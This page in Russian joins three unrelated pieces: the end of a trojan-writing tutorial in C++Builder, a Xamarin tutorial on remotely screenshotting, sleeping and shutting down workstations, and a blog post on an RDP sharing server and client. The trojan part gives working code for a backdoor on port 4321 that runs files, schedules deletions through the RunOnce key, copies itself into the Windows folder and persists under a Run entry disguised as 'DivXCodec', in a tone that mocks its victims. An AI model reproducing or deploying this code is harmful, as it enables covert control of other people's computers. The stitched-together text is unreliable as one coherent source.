ShellExecute(GetDesktopWindow, "open", f.c_str(), "", "", SW_SHOWNORMAL);
Sock->Socket->Connections[0]->SendText("Запущен файл "+f);
}

Файл запускается в той программе, с которой ассоциирован
запуск данного типа файлов, т.е. вы можете запускать не толкьо exe, com,
bat, но и любые другие файлы. Html-файл откроется в Explorer’e, Opere,
Netscape или еще в чем-то… Хрен знает чем там ламерюга пользуется…
Можете запустить ему мп3-шку Децла послушать или Бритни какой-нить, пусть
проблюется =)

Идем дальше. Парочка бесполезных функций:

void TTrojanUtilites::HideMouse()
{
ShowCursor(false);
Sock->Socket->Connections[0]->SendText("Курсор мыши скрыт");
}

No commentz...

void TTrojanUtilites::SwapMouseButtons()
{
SwapMouseButton(true);
Sock->Socket->Connections[0]->SendText("Кнопки мыши переключены");

Можно сделать переключение кнопок обратно (передайте в
SwapMouseButton параметр false), но я бы посоветовал поставить таймер и
каждую секунду переключать кнопки туда-сюда, веселее будет =) В падлу
сейчас уже добавлять, но вкратце это будет так: добавляем TTimer на
форму, устанавливаем необходимый интервал, и в обработчике события
OnTimer прописываем вызов функции SwapMouseButton с параметром,
противоположным прошлому вызову. Млин, все-таки все расписал =)

Теперь довольно важная функция:

void TTrojanUtilites::DeleteFile(String f)
{
if (!FileExists(f))
{
        Sock->Socket->Connections[0]->SendText("Файл не существует.");
        return;
}
TRegistry* Reg=new TRegistry;
Reg->RootKey = HKEY_LOCAL_MACHINE;
Reg->OpenKey("\Software\Microsoft\Windows\CurrentVersion\RunOnce", true);
Reg->WriteString("Filez for delete","command.com /c del "+f);
Reg->CloseKey();
Sock->Socket->Connections[0]->SendText("Файл "+f+" будет удален после перезагрузки.");
}

Данная функция НЕ удаляет файл сразу!!! Это сделано
специально, так как файлы могут использоваться системой и их удаление
возможно только после перезагрузки, данная функция помечает файл к
удалению, а удалиться он только после перезагрузки, которую вы легко
можете вызвать. Да, еще маленькое примечание: данная функция удаляет
только 1 файл, если вы пометите второй файл к удалению — то будет удален
только он. А первый останется нетронутым… Немного измените функцию — и
можно будет удалять файлы пачками =) Могу еще добавить немного инфы на
случай, если надо будет удалить целый каталог и вы точно знаете что в нем
нет открытых файлов. Используйте стандартную API функцию SHFileOperation,
установив тип операции wFunc в FO_DELETE. Пример:

int res;
SHFILEOPSTRUCT fo;
ZeroMemory(&fo, sizeof(fo));
fo.hwnd   = hwndOwner;  // хэндл окна-владельца прогресс-диалога
fo.pFrom  = pszFullPath; //путь
fo.wFunc  = FO_DELETE;
fo.fFlags = FOF_NOCONFIRMATION; //не спрашивать подтверждения на удаление
res = SHFileOperation(&fo);

Только внимательно все проверьте! Будет обломно если ламерюга
«вдруг» увидит надпись «Папка голые тетки не может быть удалена, так как
юзер активно смотрит сразу 10 порно-фильмов из нее!». А вообще, если опять
удалиться в теорию, то наш главный объект Application имеет
несколько полезных событий, наиболее интересное для нас OnException
происходит тогда, когда в приложении возникает необработанная
исключительная ситуация (деление на ноль, удаление несуществующего файла
etc). По умолчанию, обработчик этого события вызывает метод ShowException
для отображения окна сообщения с пояснением причины ошибки (оно нам надо?!
конечно, НЕТ!). Но, вы можете изменить реакцию на событие onException,
переписав его обработчик. Тут ничего трудного нет, просто я не ставил
перед собой задачу написать офигенный троян, только подтолкнуть вас к
этому =) Кто захочет — допишет все необходимое сам, если что — я подскажу
=) Ну вот, вроде бы все функции реализовали. Теперь немного о том, что мы
не сделали =) Мы не сделали: загрузку/закачку файла. Это все можно сделать
подправив SendFile(). Стандартных функций для пересылки файлов через
TClient(Server)Socket я не нашел, но впрочем, это не проблема — просто
передавайте файлы фрагментами.

Теперь нам осталось только разобраться с автозагрузкой
трояна. Сделаем следующее:
1) при запуске файл переписывается в папку,
в которой установлены винды.
2) прописываем запуск нашего файла в
реестре.

Реализуем =)

void __fastcall TForm1::FormCreate(TObject *Sender)
{
ServSckt->Port = 4321;
ServSckt->Active = true;
Utilz.Sock=ServSckt;
Utilz.CDROMOPEN=false;

String WinDir;
char WinDir1[144];
GetWindowsDirectory(WinDir1,144);
WinDir=WinDir1; // папка с установленными виндами

String data;
TRegistry *pReg = new TRegistry;
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey("\Software\Microsoft\Windows\CurrentVersion\Run", true);
data=pReg->ReadString("DivXCodec");
if (data != Application->ExeName) //если нашу программу стерли из
// автозагрузки (DivXCodec - можете поменять по желанию на любое другое название раздела)
     pReg->WriteString("DivXCodec",WinDir+"\task16man.exe"); //добавляем ее по новой

if (Application->ExeName!=WinDir+"\task16man.exe") //если файл запустили 1ый раз
{
        if (!FileExists(WinDir+"\task16man.exe"))
        {
        String dest=WinDir+"\task16man.exe";
        BOOL res=MoveFile(Application->ExeName.c_str(), dest.c_str());
	// переписываем файл к виндам
        ServSckt->Active = false; 
        ShellExecute(NULL,NULL,dest.c_str(),NULL,NULL,NULL); //запускаем его
        Application->Terminate(); // это приложение закрываем
        }
        else
        Application->Terminate();
	// я тут не разбирал вариантов типа прога записалась в винды, но ее еще раз 
	// запустили и им подобных, додумайте сами =)
}
else
{
ServSckt->Port = 4321;
ServSckt->Active = true;

String data;
TRegistry *pReg = new TRegistry;
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey("\Software\Microsoft\Windows\CurrentVersion\Run", true);
data=pReg->ReadString("DivXCodec");
if (data != Application->ExeName) // не дай бог стерли!
    pReg->WriteString("DivXCodec",Application->ExeName); // пишем назад
}
}

В принципе, это все. Троян готов! Конечно, он тяжеловат,
малофункционален etc, НО все это можно исправить, творите =) Если сделаете
что-нибудь интересное — скидывайте, с радостью опубликуем это для всех. А
вообще, я хочу сейчас все это переделать под API Socket’ы, без всяких
компонентов, тогда и файл exe гораздо меньше станет. Если у кого-нибудь
есть интерес к этому делу — напишите пару строк в мыльницу.

Товарищи ламеры! Внимательно следите теперь за соединениями
по порту 4321 =) Некоторые ведь ничего не перекомпиливают и не меняют =)

На этом у меня все. Критика, предложения и 100грамм
принимаются, мат и наезды отправляются в /dev/null =) МаЗу с днем
рождения!

Введение

Неправильное использование рабочих компьютеров компании является обычной практикой среди пользователей во многих компаниях, где отсутствуют надлежащие механизмы мониторинга. Это приводит к напрасной трате ресурсов и снижает скорость достижения общих целей организации. Таким образом, для достижения желаемых результатов необходим эффективный механизм, с помощью которого системный администратор может отслеживать и контролировать рабочие станции сотрудников.

Целью рассматриваемого проекта является разработка приложения на основе Xamarin.Forms, которое позволит системному администратору проводить удаленное наблюдение и контроль рабочих станций на рабочем месте. Проект будет включать разработку двух приложений: одно будет работать на рабочих станциях, другое – на мобильном телефоне администратора. Внедрение механизма позволит администратору не только следить за действиями пользователей, но и даст возможность удаленно контролировать конкретные рабочие станции.

Идея проекта

Итак, в проекте мы создадим два приложения, серверное и клиентское.

Серверное приложение будет постоянно работать на каждой рабочей станции. Приложение сервера будет связано с клиентским приложением через Wi-Fi соединение. Программа делает скриншот активности пользователя по требованию администратора и отправляет его в клиентское приложение. Серверное приложение будет принимать, интерпретировать и выполнять команды, полученные от мобильного (клиентского) приложения.

Клиентское приложение на Xamarin.Forms – Android-приложение на смартфоне администратора, предоставляющее интерфейс, через который администратор может управлять серверным приложением. С помощью клиентского приложения администратор даёт команду серверному приложению сделать скриншот и отправить изображение на смартфон. С помощью клиентского приложения администратор может контролировать каждую рабочую станцию, отправлять сообщения, выключать или переводить компьютер в спящий режим и т. д.

1. Серверное приложение

1.1. Создаем консольное приложение

Начнём с создания проекта консольного приложения с .NET Framework.

Как управлять компьютером со смартфона по Wi-Fi: пишем Android-приложение на С#

1.2. Добавляем соответствующее пространство имен

Создаем экземпляр TcpClient и TcpListener. Объявляем строку локальной переменной с именем ipString.

        public static TcpClient client;  
private static TcpListener listener;  
private static string ipString;  
    

1.3. Узнаем IP адрес вашей машины

Напишем метод внутри функции Main, который будет перехватывать и возвращать IP-адрес машины.

        IPAddress[] localIp = Dns.GetHostAddresses(Dns.GetHostName());  
foreach(IPAddress address in localIp) {  
    if (address.AddressFamily == AddressFamily.InterNetwork) {  
        ipString = address.ToString();  
    }  
}  

    

1.4. Слушаем порт 1234

Теперь мы готовы принимать сообщения, например, по порту 1234. Этот порт и IP-адрес текущего компьютера будет использоваться в качестве конечных точек. Тогда мы сможем связаться с клиентом по TCP.

        IPEndPoint ep = new IPEndPoint(IPAddress.Parse(ipString), 1234);  
listener = new TcpListener(ep);  
listener.Start();  
Console.WriteLine(@"  
===================================================  
Started listening requests at: {0}:{1}  
===================================================",  
ep.Address, ep.Port);  
client = listener.AcceptTcpClient();  
Console.WriteLine("Connected to client!" + " n"); 
    

Как управлять компьютером со смартфона по Wi-Fi: пишем Android-приложение на С#

1.5. Создаем соединение с клиентом

Создадим функцию приема и обработки сообщения о том, что рабочая станция должна быть переведена в спящий режим. В качестве команды от клиента мы должны получить строку SLP2.

        while (client.Connected) {  
    try {  
        const int bytesize = 1024 * 1024;  
        byte[] buffer = new byte[bytesize];  
        string x = client.GetStream().Read(buffer, 0, bytesize).ToString();  
        var data = ASCIIEncoding.ASCII.GetString(buffer);  
        if (data.ToUpper().Contains("SLP2")) {  
            Console.WriteLine("Pc is going to Sleep Mode!" + " n");  
            Sleep();  
        }  
    } catch (Exception exc) {  
        client.Dispose();  
        client.Close();  
    }  
}  

    

1.6. Пишем метод Sleep

Расширяем пространство имён проекта. Добавляем внутри функции Main метод Sleep:

        using System.Windows.Forms;  
void Sleep() {  
    Application.SetSuspendState(PowerState.Suspend, true, true);  
}  

    

2. Клиентское приложение

2.1. Создаем проект Xamarin.Forms

Открываем Visual Studio и переходим в New Project-> Cross-platform-> Xamarin.Forms-> Blank app. Даем ему имя, например, XamarinFormsClient.

2.2. Создаем класс соединения

Далее в нашем проекте нужно определить класс соединения для создания экземпляра TCP Client. Создаем новый класс с именем Connection.cs и записываем в него следующий код.

Connection.cs
        using System;    
using System.Collections.Generic;    
using System.Net.Sockets;    
    
namespace XamarinForms.Client    
{    
    public class Connection    
    {    
        private static Connection _instance;    
        public static Connection Instance    
        {    
            get    
            {    
                if (_instance == null) _instance = new Connection();    
                return _instance;    
            }    
        }    
        public TcpClient client { get; set; }    
    }    
}    

    

2.3. Создание пользовательского интерфейса

Нам нужны два редактируемых текстовых поля для IP-адреса и порта, и одна кнопка для соединения с сервером. Откроем файл макета MainPage и заменим код на следующий:

        <?xml version="1.0" encoding="utf-8" ?>    
<ContentPage xmlns="http://xamarin.com/schemas/2014/forms"    
             xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml"    
             xmlns:local="clr-namespace:XamarinForms.Client"    
             x:Class="XamarinForms.Client.MainPage">    
    <StackLayout>    
    <Label Text="Connect to Server"     
           FontSize="Medium"    
           HorizontalOptions="Center" />    
    <Entry x:Name="IPAddress" Placeholder="IP Address"/>    
    <Entry x:Name="Port" Placeholder="Port Number"/>    
    <Button x:Name="Connect" Text="Connect" Clicked="Connect_Clicked"/>    
    </StackLayout>    
</ContentPage>    

    

Как управлять компьютером со смартфона по Wi-Fi: пишем Android-приложение на С#

2.4. Описываем метод соединения

Опишем взаимосвязь элементов управления пользовательского интерфейса с классом MainPage. Далее свяжемся с приложением сервера, используя IP-адрес и порт рабочей станции.

MainPage.xaml
        using System;    
using System.Net.Sockets;    
using Xamarin.Forms;    
    
    
namespace XamarinForms.Client    
{    
    public partial class MainPage : ContentPage    
    {    
        public MainPage()    
        {    
            InitializeComponent();    
        }    
    
        private async void Connect_Clicked(object sender, EventArgs e)    
        {    
            try    
            {    
                TcpClient client = new TcpClient();     
                    await client.ConnectAsync(IPAddress.Text, Convert.ToInt32(Port.Text));    
                if (client.Connected)    
                {    
                    Connection.Instance.client = client;    
                    Application.Current.MainPage = new NavigationPage(new OperationsPage());    
                        
                   await DisplayAlert("Connected", "Connected to server successfully!", "Ok");    
                }    
                else    
                {    
                    await DisplayAlert("Error", "Connection unsuccessful!", "Ok");    
                }    
            }    
            catch (Exception ex)    
            {    
                await DisplayAlert("Error", ""+ex.ToString(), "Ok");    
            }    
        }    
    }    
}    

    

2.5. Обновление класса приложения

Открываем файл App.xaml внутри этого класса и добавляем следующий код в конструктор класса App.

        MainPage = new NavigationPage(new MainPage()); 
    

3. Проверка соединения

Давайте проверим соединение сервера и клиентского приложения, которое мы только что создали. Основной модуль запуска приложения Xamarin.Forms отобразит главную страницу. Запустим серверное приложение, скопируем IP-адрес и порт рабочей станции из серверного приложения. Поместим в клиентское приложение и нажимаем Connect.

Как управлять компьютером со смартфона по Wi-Fi: пишем Android-приложение на С#

4. Работаем с функцией скриншота и выключения

Поговорим о том, как будет работать функция скриншота. Клиент запрашивает скриншот, отправляет команду в виде строки "TSC1", на рабочей станции серверное приложение делает скриншот. Размер изображения может быть большим, поэтому мы преобразуем данные снимка экрана в пакеты байтового типа и отправляем клиентскому приложению. Когда клиент получит пакеты байтового типа, он преобразует их в исходную форму.

Добавим функцию выключения рабочей станции. Если клиент отправляет команду “SHTD3” серверному приложению, сервер выполнит функцию выключения компьютера.

5. Возвращаемся к серверному приложению

Вернемся к серверному приложению и опишем функции снимка экрана выключения рабочей станции. Откроем файл program.cs и запишем следующий код внутри цикла while, который мы реализовали ранее.

        else if (data.ToUpper().Contains("SHTD3")) {  
    Console.WriteLine("Pc is going to Shutdown!" + " n");  
    Shutdown();  
} else if (data.ToUpper().Contains("TSC1")) {  
    Console.WriteLine("Take Screenshot!" + " n");  
    var bitmap = SaveScreenshot();  
    var stream = new MemoryStream();  
    bitmap.Save(stream, ImageFormat.Bmp);  
    sendData(stream.ToArray(), client.GetStream());  
}  

    

6. Функции съемки экрана и выключения

Добавим в серверное приложение следующие пространства имен. Иначе Visual Studio не распознает ключевое слово graphics функции снимка экрана.

        using System.Drawing;  
using System.Drawing.Imaging;  
    

Вернемся к program.cs и поместите эти функции в основной класс.

        // Функция выключения рабочей станции
void Shutdown() {  
    System.Diagnostics.Process.Start("Shutdown", "-s -t 10");  
}  
// Функция сохранения скриншота
Bitmap SaveScreenshot() {  
    var bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);  
    // Создание графического bitmap-объекта
    var gfxScreenshot = Graphics.FromImage(bmpScreenshot);  
    // Берем скриншот из Take the screenshot от верхнего левого до нижнего правого угла
    gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);  
    return bmpScreenshot;  
}  
// Преобразуем изображение в байтовый код.  
void sendData(byte[] data, NetworkStream stream) {  
    int bufferSize = 1024;  
    byte[] dataLength = BitConverter.GetBytes(data.Length);  
    stream.Write(dataLength, 0, 4);  
    int bytesSent = 0;  
    int bytesLeft = data.Length;  
    while (bytesLeft > 0) {  
        int curDataSize = Math.Min(bufferSize, bytesLeft);  
        stream.Write(data, bytesSent, curDataSize);  
        bytesSent += curDataSize;  
        bytesLeft -= curDataSize;  
    }  
}  

    

Итак, мы закончили с серверным приложением.

7. Возвращаемся к клиентскому приложению

7.1. Создаем страницу операций

Возвращаемся в клиентское приложение (Xamarin.Forms) и добавляем новый ContentPage с именем OperationsPage. Внутри этого макета добавим следующий код, чтобы создать больше кнопок.

        <?xml version="1.0" encoding="utf-8" ?>  
<ContentPage xmlns="http://xamarin.com/schemas/2014/forms"  
             xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml"  
             xmlns:local="clr-namespace:XamarinForms.Client"  
             x:Class="XamarinForms.Client.OperationsPage">  
    <ContentPage.Content>  
        <StackLayout Orientation="Vertical">  
            <Button x:Name="Screenshot" Text="Screenshot" Clicked="Screenshot_Clicked"/>  
            <Button x:Name="Sleep" Text="Sleep" Clicked="Sleep_Clicked"/>  
            <Button x:Name="Shutdown" Text="Shutdown" Clicked="Shutdown_Clicked"/>  
            <Image x:Name="imageView"/>  
  
        </StackLayout>  
    </ContentPage.Content>  
</ContentPage>

    

7.2. Добавляем в класс операций методы ожидания

Открываем файл OperationPage.xaml и переносим следующий код.

        using System;  
using System.IO;  
using System.Net.Sockets;  
using System.Text;  
using Xamarin.Forms;  
using Xamarin.Forms.Xaml;  
  
namespace XamarinForms.Client  
{  
    [XamlCompilation(XamlCompilationOptions.Compile)]  
    public partial class OperationsPage : ContentPage  
    {  
        public OperationsPage ()  
        {  
            InitializeComponent ();  
        }  
        
        // Команда для кнопки Sleep
        private void Sleep_Clicked(object sender, EventArgs e)  
        {  
            var client = Connection.Instance.client;  
            NetworkStream stream = client.GetStream();  
            String s = "SLP2";  
            byte[] message = Encoding.ASCII.GetBytes(s);  
            stream.Write(message, 0, message.Length);  
        }  
 
        // Команда для кнопки Shutdown
        private void Shutdown_Clicked(object sender, EventArgs e)  
        {  
            var client = Connection.Instance.client;  
            NetworkStream stream = client.GetStream();  
            String s = "SHTD3";  
            byte[] message = Encoding.ASCII.GetBytes(s);  
            stream.Write(message, 0, message.Length);  
        }  
 
        // Команда для снимка экрана
        private void Screenshot_Clicked(object sender, EventArgs e)  
        {  
            var client = Connection.Instance.client;  
            NetworkStream stream = client.GetStream();  
            String s = "TSC1";  
            byte[] message = Encoding.ASCII.GetBytes(s);  
            stream.Write(message, 0, message.Length);  
            var data = getData(client);  
            imageView.Source = ImageSource.FromStream(() => new MemoryStream(data));  
        }  
  
        // Сбор данных с сервера
        public byte[] getData(TcpClient client)  
        {  
            NetworkStream stream = client.GetStream();  
            byte[] fileSizeBytes = new byte[4];  
            int bytes = stream.Read(fileSizeBytes, 0, fileSizeBytes.Length);  
            int dataLength = BitConverter.ToInt32(fileSizeBytes, 0);  
  
            int bytesLeft = dataLength;  
            byte[] data = new byte[dataLength];  
  
            int buffersize = 1024;  
            int bytesRead = 0;  
  
            while (bytesLeft > 0)  
            {  
                int curDataSize = Math.Min(buffersize, bytesLeft);  
                if (client.Available < curDataSize)  
                    curDataSize = client.Available;  
                bytes = stream.Read(data, bytesRead, curDataSize);  
                bytesRead += curDataSize;  
                bytesLeft -= curDataSize;  
            }  
            return data;  
        }  
    }  
}  

    

8. Тестируем!

Запускаем оба приложения – сервер и клиент. Вводим IP-адрес и порт рабочей станции, которые вы видите на экране вывода приложения сервера, в клиентское приложение и нажимаем Connect.

Как управлять компьютером со смартфона по Wi-Fi: пишем Android-приложение на С#

После подключения к серверу теперь мы можем выполнять различные команды.

Как управлять компьютером со смартфона по Wi-Fi: пишем Android-приложение на С#

Ура! Всё работает. При нажатии на Sleep рабочая станция переходит в спящий режим. При нажатии на Take Screenshot через пару мгновений скриншот рабочей станции оказывается внутри клиентского приложения.

***

Если вы любите C#, мы также советуем вам обратить внимание на другие статьи тега C#, например, недавние:

  • Что нового будет в C# 9? Результаты исследования Proposals на GitHub
  • 10 самых популярных алгоритмов сортировки на C#
  • Исчерпывающий видеокурс: структуры данных C#

delirium_00 оптимистично Дом

January 8 2015, 12:12

Сразу предупрежу, в посте присутствует много непотребного WinAPI, поэтому слабонервным просьба не читать:)

Началось все с идеи коммерческого проекта, частью которого являлся бы функционал удаленного рабочего стола (и клиентская и серверная части). Стал гуглить на эту тему и нашел в msdn простые и понятные примеры на c# с использованием .Net. Но писать весь проект на богомерзком c# только из-за этой части не хотелось.

Пришлось пойти по непроторенному тернистому пути WindowsAPI и COM-объектов. Во всяком случае, таковым мне этот путь представлялся на тот момент. Я объясню почему.
То, что в c# является встроенными в соответствующие пространства имен готовыми классами и пишется двумя строчками, в с++ вызывается через API COM-подсистемы.

c#:

// Create a new RdpSession instance
m_pRdpSession = new RDPSession();
 
// Start the Sharing Session
m_pRdpSession.Open();
 
// Create invitation.
IRDPSRAPIInvitation pInvitation = m_pRdpSession.Invitations.CreateInvitation("WinPresenter","PresentationGroup","",5);
string invitationString = pInvitation.ConnectionString;

c++:

 CLSID c1 = __uuidof(RDPSession);
 CLSID c2 = __uuidof(IRDPSRAPISharingSession);
 hr = CoCreateInstance(c1, NULL, CLSCTX_ALL, c2, (LPVOID*)&pRDPSession); 
 if(FAILED(hr)) throw(exception("Rdpcomapi.RDPSession not registered"));
 
  hr = pRDPSession->Open(); 
 if(FAILED(hr)) throw(exception("Unable to open RDP session"));
 
  SetNotification(/*this->winId()*/0, 0, true);
 
  hr = pRDPSession->get_Invitations(&pInvitationManager);
 if(FAILED(hr)) throw(exception("Unable to get invitation manager"));
 
 long L = 1;
 hr = pInvitationManager->CreateInvitation(
  NULL,//auth_string,
  group,
  pass,
  L,
  &pInvitation
 );
  if(FAILED(hr)) throw(exception("Unable to create invitation"));
 
 hr = pInvitation->get_ConnectionString(&connection_string);
 if(FAILED(hr)) throw(exception("Unable to get connection string"));

Кстати говоря, с COM и WindowsAPI я совсем не дружу, как и с системным программированием в целом, поэтому код может выглядеть жутковато для профессионала:) Притом в MSDN документированы только некоторые ключевые моменты работы с этими объектами и интерфейсами. Остальное приходилось додумывать либо искать в других источниках.
Мне повезло, я наткнулся на программу с открытым кодом одного доброго человека. Сейчас он удалил ту статью, поэтому ссылку дать не могу. Но могу сказать, что там была прекрасная реализация клиента и сервера RDP. НО, Michael перегнул палку в другую сторону, и написал ВСЕ на чистом WinAPI. Мне же хотелось, чтобы все было сделано наиболее подходящими для этого инструментами. Интерфейс и сетевая часть — Qt, сервер RDP — с использованием WinAPI, Клиент RDP — использование соответсвующего ActiveX компонента через QQxWidget.

Сервер состоит из класса TRDPServer, содержащего в виде делегатов

IRDPSRAPIInvitationManager, IRDPSRAPIInvitation (приглашения), IRDPSRAPIAttendee (подключения), экземпляр класса TRDPSessionEvents (события от подключений).

//Класс для обеспечения доступа к данному компьютеру через RDP
class TRDPServer{
protected:
  IRDPSRAPISharingSession * pRDPSession; 
 IRDPSRAPIInvitationManager * pInvitationManager;
 IRDPSRAPIInvitation * pInvitation;
 ATTENDEE * Attendee;
 TRDPSessionEvents SessionEvents;
 IConnectionPointContainer * pIConnectionPointContainer;
 IConnectionPoint * pIConnectionPoint;
 int Cookie;
 
  void OpenSession();
 void CloseSession();
 QString GetConnectionString();
public:
  TRDPServer();
  ~TRDPServer();
 
  bool SetNotification(HWND en, UINT msg, bool A);
 void HandleNotification(DISPID id, DISPPARAMS * p);
};

Помимо функционала открытия RDP-сессии, описанного выше, класс TRDPServer обрабатывает события от подключений:

void TRDPServer :: HandleNotification(DISPID id, DISPPARAMS * p)
{
 IDispatch* j = 0;
 VARIANT x;
 unsigned int y = 0;
 HRESULT hr = 0;
 
 switch(id)
 {
  case DISPID_RDPSRAPI_EVENT_ON_ATTENDEE_CONNECTED:
  {
    x.vt = VT_DISPATCH;
   x.pdispVal = j;
   x.vt = VT_DISPATCH;
   hr = DispGetParam(p, 0, VT_DISPATCH, &x, &y);
   if (FAILED(hr))
    return;
   IDispatch* d = x.pdispVal;
   if (!d)
    return;
 
   //Пока разрешено только одно подключение
   Attendee = new ATTENDEE(d);
   d->Release();
   break;
  };
 
  case DISPID_RDPSRAPI_EVENT_ON_ATTENDEE_DISCONNECTED:
  {
   x.vt = VT_DISPATCH;
   x.pdispVal = j;
   hr = DispGetParam(p, 0, VT_DISPATCH, &x, &y);
   if (FAILED(hr))
    return;
   IDispatch* d = x.pdispVal;
   if (!d)
    return;
 
   IRDPSRAPIAttendeeDisconnectInfo* a = 0;
   d->QueryInterface(__uuidof(IRDPSRAPIAttendeeDisconnectInfo), (void**)&a);
   if (!a)
    return;
 
   IRDPSRAPIAttendee* at = 0;
   a->get_Attendee(&at);
   if (at)
   {
    Attendee->Release();
    at->Release();
   };
 
   a->Release();
   break;
  };
 
  case DISPID_RDPSRAPI_EVENT_ON_CTRLLEVEL_CHANGE_REQUEST:
  {
   x.vt = VT_INT;
   x.pdispVal = j;
   hr = DispGetParam(p, 1, VT_INT, &x, &y);
   if (FAILED(hr))
    return;
   int Lev = x.intVal;
   x.vt = VT_INT;
   x.pdispVal = j;
   hr = DispGetParam(p, 0, VT_DISPATCH, &x, &y);
   if (FAILED(hr))
    return;
   IDispatch* d = x.pdispVal;
   if (!d)
    return;
   IRDPSRAPIAttendee* a = 0;
   d->QueryInterface(__uuidof(IRDPSRAPIAttendee), (void**)&a);
   if (!a)
    return;
    Attendee->SetControl(Lev);
   a->Release();
   break;
  };
 }; //switch
};

И класс TRDPSessionEvents, унаследованный от интерфейса _IRDPSessionEvents, и определяющий его методы для получения событий от подключений.

//Класс для получения событий (Подключение, Запрос управления, Отключение)
//от интерфейса _IRDPSessionEvents и передачи их классу TRDPServer
class TRDPSessionEvents : public _IRDPSessionEvents {
private:
 int refNum;
 HWND nen;
 UINT msg;
 TRDPServer * Parent;
public:
 TRDPSessionEvents();
 ~TRDPSessionEvents();
  //Привязка событий к TSharer
 void SetNotification(HWND, UINT, TRDPServer * p);    
 
 // IUnknown
  virtual HRESULT STDMETHODCALLTYPE QueryInterface( 
      /* [in] */ REFIID riid,
      /* [iid_is][out] */ __RPC__deref_out void __RPC_FAR *__RPC_FAR *ppvObject);
 
  virtual ULONG STDMETHODCALLTYPE AddRef( void);
 
  virtual ULONG STDMETHODCALLTYPE Release( void);
 
 
 // IDispatch
 virtual HRESULT STDMETHODCALLTYPE GetTypeInfoCount( 
        /* [out] */ __RPC__out UINT *pctinfo);
 
 virtual HRESULT STDMETHODCALLTYPE GetTypeInfo( 
        /* [in] */ UINT iTInfo,
        /* [in] */ LCID lcid,
        /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);
 
  virtual HRESULT STDMETHODCALLTYPE GetIDsOfNames( 
        /* [in] */ __RPC__in REFIID riid,
        /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,
        /* [range][in] */ UINT cNames,
        /* [in] */ LCID lcid,
        /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);
 
  virtual /* [local] */ HRESULT STDMETHODCALLTYPE Invoke( 
        /* [in] */ DISPID dispIdMember,
        /* [in] */ REFIID riid,
        /* [in] */ LCID lcid,
        /* [in] */ WORD wFlags,
        /* [out][in] */ DISPPARAMS *pDispParams,
        /* [out] */ VARIANT *pVarResult,
        /* [out] */ EXCEPINFO *pExcepInfo,
        /* [out] */ UINT *puArgErr);
};

В клиентской части просто в QtDesigner кладем на форм компонент QAxWidget:

Определяем компонент через его GUID и обращаемся к его методам через dynamicCall:

  axRDPClientWidget->setControl("{32BE5ED2-5C86-480F-A914-0FF8885A1B3F}");
 
  axRDPClientWidget->dynamicCall(
    "Connect(QString,QString,QString)", 
    QString().fromStdString(ticket),
    QString("HeplerGroup"),
    QString("")
  );

Я опускаю подробности передачи приглашения от сервера к клиенту. В примерах в интернете все сделано через файл, в моем проекте через HTTP сервер. После подключения клиента к серверу нужно запросить у него права на управление компьютеров и вуаля, все работает:


После очередной просьбы выложил исходники в открытый доступ: https://github.com/DeliriumV01D/Helper

Понравилась статья? Поделить с друзьями:
  • Как написать программу для теста
  • Как написать программу под ios
  • Как написать программу для телефона под андроид
  • Как написать программу для телефона на питоне
  • Как написать программу переводчик